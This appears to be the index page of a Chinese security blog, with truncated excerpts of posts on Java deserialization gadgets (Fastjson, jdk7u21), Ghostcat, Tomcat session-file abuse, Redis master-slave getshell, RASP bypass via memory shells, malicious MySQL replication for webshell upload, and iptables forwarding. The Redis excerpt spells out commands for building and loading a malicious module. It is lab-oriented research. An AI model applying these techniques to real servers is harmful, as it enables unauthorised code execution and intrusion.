Fastjson作为原生反序列化的Gadget利用(全版本通杀)
介绍除了常见的 Fastjson 在调用自身的 JSON.parseObject() 来反序列化的时候会触发一些 Gadget 导致漏洞,Fastjson 自身其实也会在 jdk 原生反序列化中作为一个 Gadget 来触发漏洞。这就可以绕过高版本 Fastjson 中对 Autotype 的限制。而且这个利用暂时是 Fastjson 全版本通杀的。
分析既然是与原生反序列化相关,那我们应该在 fastjson 包中看哪些类继承了 Serializable 接口,最后找完只有两个类, JSONArray 和 JSONObject 。
这两个类都继承自 JSON ,而这个类中存在一个 toString() 方法。前面我们在 Fastjson 漏洞总结中提到过,JSON.toString() 可以任意调用任意类的 getter 方法,而有些类的 getter 方法是可以直接触发漏洞的,比如著名的 TemplatesImpl 等等。那现在我们只需要找到 jdk 原生反序列化到 toString() 的链子,就可以连上链子,触发漏洞了。
这里有两个 jdk 原生的链子可以在 readObjec ...
Ghostcat Tomcat文件读取和文件包含漏洞(CVE-2020-1938)
介绍漏洞信息由于 Tomact AJP 协议的设计缺陷,攻击者可以通过漏洞读取 webapp 目录下的任意文件,或者通过文件包含 getshell 。
编号:CNVD-2020-10487 / CVE-2020-1938外号:Ghostcat
Tomcat 的 AJP 是默认开启的,一般来说只要发现目标机器开放了 8009 端口并且 Tomcat 的版本处于受影响版本中,就会有漏洞。
AJP的介绍在 AJP 协议中,请求参数是以二进制格式传输的。在处理 AJP 请求时,Tomcat 会将请求参数解析为一个名值对的列表,并将其转换为 HTTP 请求的属性,以便应用服务器更好处理请求。
AJP 协议设计的主要目的就是快,不过现在主要用于反向代理,就是其它的 web 服务器(例如 Apache 作为客户端到 Tomcat 的中间件,客户端连接 Apache 时采用 http 协议,Apache 再连接后台的 Tomcat 时采用 AJP 协议(也可以不用)。你可以会好奇为什么客户端不直接使用 AJP 协议,因为浏览器不支持,浏览器采用的是更通用的 http 协议。
影响版本1 ...
Tomcat的SESSIONS.ser文件利用及其源码分析
介绍Tomcat 默认会开启 session 的持久化功能,它是通过当 Tomcat 正常退出的时候,会将 session 的值进行序列化,存到 work 目录下的 SESSIONS.ser 文件中(正常来说完整路径是 <Tomcat的安装目录>/work/Catalina/localhost/<项目名>/SESSSIONS.ser),然后下次启动时会对这个文件中的内容进行反序列化(启动成功后就会删除 SESSIONS.ser 文件),从而恢复 session 的值。
如果我们可以控制 SESSIONS.ser 文件的内容(往往是通过任意文件上传),就可能造成反序列化漏洞。
源码分析这里先来分析一下 SESSIONS.ser 文件的内容。先来试着写入值到 session 中,然后关闭 Tomcat 。
1234567891011121314151617181920212223package com.just.servlet;import com.just.pojo.User;import javax.servlet.ServletException;impor ...
java序列化后的二进制格式分析
说明在阅读后面的内容时,这里先要提前准备好两个工具:
下载 https://github.com/NickstaDB/SerializationDumper 工具来可视化二进制的序列化数据的结构。不过这个工具的运行需要传入二进制文件的十六进制表示。因此使用前我们需要用下面的 python 脚本处理一下,将二进制文件的内容读取出来,并以十六进制的格式输出。
123456import binasciipath = "demo.ser"with open(path, "rb") as f: content = f.read() print(binascii.b2a_hex(content).decode())
使用方式: java -jar SerializationDumper.jar <十六进制字符串> 。
idea 下载 BinEd - Binary/Hex Editor 插件来查看和编辑二进制文件。这里使用 010 editor 也是可以的。
此外, java 序列化使用到的常数定义在 ObjectStre ...
jdk7u21和jdk8u20原生反序列化漏洞分析
环境jdk下载地址https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.htmlhttps://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
jdk7u21反序列化poc1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465package com.just;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import javassi ...
Redis通过主从复制getshell
介绍在 Redis 4.x 之后,Redis 新增了模块功能,通过外部拓展,可以实现在 Redis 中实现一个新的Redis 命令,通过写C语言编译并加载恶意的 .so 文件,达到代码执行的目的。类似于 MySQL 的 UDF 。
漏洞利用条件目标靶机服务器的 redis 未设置密码或者已知目标 redis 的密码。
漏洞环境搭建1docker run -p 6379:6379 redis:5.0.14
漏洞利用自动利用1234567891011# 1. 先通过下面的项目编译得到恶意的so文件git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommandcd RedisModules-ExecuteCommand/make# 2. 再通过下面的项目打入上面生成好了的恶意so文件到目标redis服务器git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so . ...
Java中的RASP绕过
环境搭建环境的 docker 放到了 https://github.com/justdoit-cai/javaAgent-learn/tree/main/rasp-demo-2.0(with%20executable%20jar%20and%20docker) 中。
该环境是 jackson 的任意调用 getter 方法漏洞,并且 rasp ban 了 java.lang.ProcessImpl.start() ,并且我们无法调用 Runtime.exec() ,因为这个方法底层调的也是 ProcessImpl.start() 。
思路分析具有漏洞的环境首先是想反弹 shell ,如果不出网就想打入内存马。我们直接开始尝试打入内存马。这里想直接反弹 shell 也不行,因为上面说了这里靶场具有 RASP 保护, ban 了命令执行(可能有其它命令执行的方法可以绕过,但是我也不知道有没有,应该是没有的,即使有大概率 RASP 也会继续 ban )。
打入内存马的 exp 也放到了上面的 github 中。我们这里直接尝试打入内存马。
发现打入成功了,但是命令没有回显。我们查看靶场的日 ...
Java内存马总结
技术铺垫Tomcat容器组件Tomcat 中有四类容器组件:Engine 、Host 、Context 、 Wrapper ;关系如下
Engine( org.apache.catalina.core.StandardEngine ):最大的容器组件,可以容纳多个 Host 。
Host( org.apache.catalina.core.StandardHost ):一个 Host 代表一个虚拟主机,一个 Host 可以包含多个 Context 。
Context( org.apache.catalina.core.StandardContext ):一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper 。
Wrapper( org.apache.catalina.core.StandardWrapper ):一个 Wrapper 代表一个 Servlet(重点 :想要动态的去注册 Servlet 组件实现过程中的关键之一就是如何获取 Wrapper 对象,再往上也就是如何获取到 Context 对象,从而掌握整个 Web 应用)。
Servlet基础 ...
MySQL-构造恶意主从同步服务器
情景我们可以让我们靶机的数据库执行我们提交的任意的 sql 语句,但是靶机过滤了 into ,outfile ,dumpfile 关键字。这样我们即使拿下了数据库的权限,也无法进一步拿下服务器的权限。
这篇文章围绕通过 构造恶意的 MySQL 主从服务器 ,来绕过 sql 语句的 waf (主要是过滤 上传文件 的关键字),从而通过数据库上传木马文件到服务器来进一步提权(这里假设靶机数据库的 secure_file_priv 是关闭的,靶机唯一的防线就是对 sql 语句的 waf )。
方式一:修改binlog文件通过构造恶意的 MySQL 主从服务器,让靶机的 MySQL 同步我们攻击机 MySQL 执行的 sql 语句。这里通过修改 binlog 文件来实现同步恶意 sql 语句。
利用实验环境搭建攻击机 kali 的 IP 为:192.168.163.133靶机 ubuntu 的 IP 为:192.168.163.129
用 Docker 在两台机器上搭建 MySQL 环境。
1docker run -id -p 3306:3306 --name=mysql_demo01 -e ...
iptables实现流量转发
参考文章1https://blog.csdn.net/uiop_uiop_uiop/article/details/128095847
内网流量转发本地端口转发将本地访问本机 10001 端口的流量转发到本机 10002 端口。
1iptables -t nat -A OUTPUT -p tcp --dport 10001 -j REDIRECT --to-ports 10002
然后自己 curl 自己的 10001 端口,发现 10002 端口收到了流量。
外网端口转发将外网访问本机 10001 端口的流量转发到本机 10002 端口。
1iptables -t nat -A PREROUTING -p tcp --dport 10001 -j REDIRECT --to-ports 10002
通过跳板机流量转发假设转发服务器的地址 192.168.188.130 。目的服务器的地址是 114.132.243.19 。在转发服务器上把 8080 端口转发到 114.132.243.19 的 80 端口。
打开 ipv4 的转发功能。[[arp攻击#arp实验]]
1echo ...